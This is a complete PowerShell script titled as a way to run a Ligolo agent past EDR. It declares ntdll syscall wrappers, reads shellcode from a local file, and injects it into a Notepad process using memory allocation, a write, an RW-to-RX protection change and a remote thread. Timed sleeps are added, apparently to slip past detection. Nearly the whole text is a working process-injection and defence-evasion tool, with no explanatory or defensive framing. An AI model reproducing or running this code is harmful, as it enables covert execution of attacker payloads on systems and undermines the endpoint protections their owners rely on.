Ligolo agent – Bypass EDR (Powershell Way)

Add-Type @"
    using System;
    using System.Runtime.InteropServices;
    using System.Net;
    using System.Diagnostics;
 
    public class NtDll {
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint FreeType);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtCreateThreadEx(out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Argument, uint CreateFlags, uint ZeroBits, uint StackSize, uint MaximumStackSize, IntPtr AttributeList);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtWaitForSingleObject(IntPtr Handle, bool Alertable, IntPtr Timeout);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, out uint OldProtect);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtDelayExecution(bool Alertable, ref long DelayInterval);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, uint NumberOfBytesToWrite, out uint NumberOfBytesWritten);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int ZwSetTimerResolution(uint RequestedResolution, bool Set, ref uint ActualResolution);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(IntPtr hObject);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    }
 
    public class MyFunctions {
        private static bool once = true;
 
        public static void SleepShort(float milliseconds) {
            if (once) {
                uint actualResolution = 0;
                NtDll.ZwSetTimerResolution(1, true, ref actualResolution);
                once = false;
            }
 
            long interval = (long)(-1 * milliseconds * 10000.0f);
            NtDll.NtDelayExecution(false, ref interval);
        }
    }
"@
 
Write-Host "[+] Starting shellcode injection process" -ForegroundColor Green
 
$notepadProcesses = Get-Process notepad -ErrorAction SilentlyContinue
 
if ($notepadProcesses -eq $null -or $notepadProcesses.Count -eq 0) {
    Write-Host "[!] No Notepad process found. Starting Notepad..." -ForegroundColor Yellow
    $processInfo = Start-Process notepad -PassThru
    Write-Host "[+] Notepad started (PID: $($processInfo.Id))" -ForegroundColor Green
    [MyFunctions]::SleepShort(3000)
    $notepadProcesses = Get-Process notepad -ErrorAction SilentlyContinue
}
 
# READ FROM LOCAL FILE INSTEAD
Write-Host "[*] Reading shellcode from local file..." -ForegroundColor Cyan
$shellcode = [System.IO.File]::ReadAllBytes("C:\Windows\Tasks\agent.bin")
Write-Host "[+] Shellcode loaded successfully (Size: $($shellcode.Length) bytes)" -ForegroundColor Green
 
$size = $shellcode.Length
 
function SleepShort($milliseconds) {
    [MyFunctions]::SleepShort($milliseconds)
}
 
SleepShort 2000
 
Write-Host "[*] Finding last Notepad process..." -ForegroundColor Cyan
$lastNotepad = $notepadProcesses | Sort-Object StartTime -Descending | Select-Object -First 1
Write-Host "[+] Found Notepad process (PID: $($lastNotepad.Id))" -ForegroundColor Green
 
SleepShort 1000
Write-Host "[*] Opening process handle..." -ForegroundColor Cyan
$processHandle = [NtDll]::OpenProcess(0x1F0FFF, $false, $lastNotepad.Id)
if ($processHandle -eq [IntPtr]::Zero) {
    Write-Host "[!] Failed to open process handle" -ForegroundColor Red
    exit
}
Write-Host "[+] Process handle opened successfully" -ForegroundColor Green
 
SleepShort 2000
 
Write-Host "[*] Allocating memory in target process..." -ForegroundColor Cyan
$addr = [IntPtr]::Zero
$result = [NtDll]::NtAllocateVirtualMemory($processHandle, [ref]$addr, [IntPtr]::Zero, [ref]$size, 0x3000, 0x4)
if ($result -eq 0) {
    Write-Host "[+] Memory allocated successfully at address: 0x$($addr.ToString('X'))" -ForegroundColor Green
} else {
    Write-Host "[!] Memory allocation failed" -ForegroundColor Red
    exit
}
 
SleepShort 2000
 
Write-Host "[*] Writing shellcode to allocated memory..." -ForegroundColor Cyan
$bytesWritten = 0
$result = [NtDll]::NtWriteVirtualMemory($processHandle, $addr, $shellcode, $shellcode.Length, [ref]$bytesWritten)
if ($result -eq 0) {
    Write-Host "[+] Shellcode written successfully ($bytesWritten bytes)" -ForegroundColor Green
} else {
    Write-Host "[!] Write operation failed" -ForegroundColor Red
    exit
}
 
SleepShort 2000
 
Write-Host "[*] Changing memory protection to RX..." -ForegroundColor Cyan
$oldProtect = 0
$result = [NtDll]::NtProtectVirtualMemory($processHandle, [ref]$addr, [ref]$size, 0x20, [ref]$oldProtect)
if ($result -eq 0) {
    Write-Host "[+] Memory protection changed successfully" -ForegroundColor Green
} else {
    Write-Host "[!] Protection change failed" -ForegroundColor Red
    exit
}
 
SleepShort 2000
 
Write-Host "[*] Creating thread to execute shellcode..." -ForegroundColor Cyan
$thandle = [IntPtr]::Zero
$result = [NtDll]::NtCreateThreadEx([ref]$thandle, 0x1FFFFF, [IntPtr]::Zero, $processHandle, $addr, [IntPtr]::Zero, 0, 0, 0, 0, [IntPtr]::Zero)
if ($result -eq 0) {
    Write-Host "[+] Thread created successfully - Shellcode executing!" -ForegroundColor Green
} else {
    Write-Host "[!] Thread creation failed" -ForegroundColor Red
    exit
}
 
if ($thandle -ne [IntPtr]::Zero) {
    [NtDll]::CloseHandle($thandle) | Out-Null
}
 
SleepShort 10000
Write-Host "[+] Shellcode injection completed!" -ForegroundColor Green
 
if ($processHandle -ne [IntPtr]::Zero) {
    [NtDll]::CloseHandle($processHandle) | Out-Null
}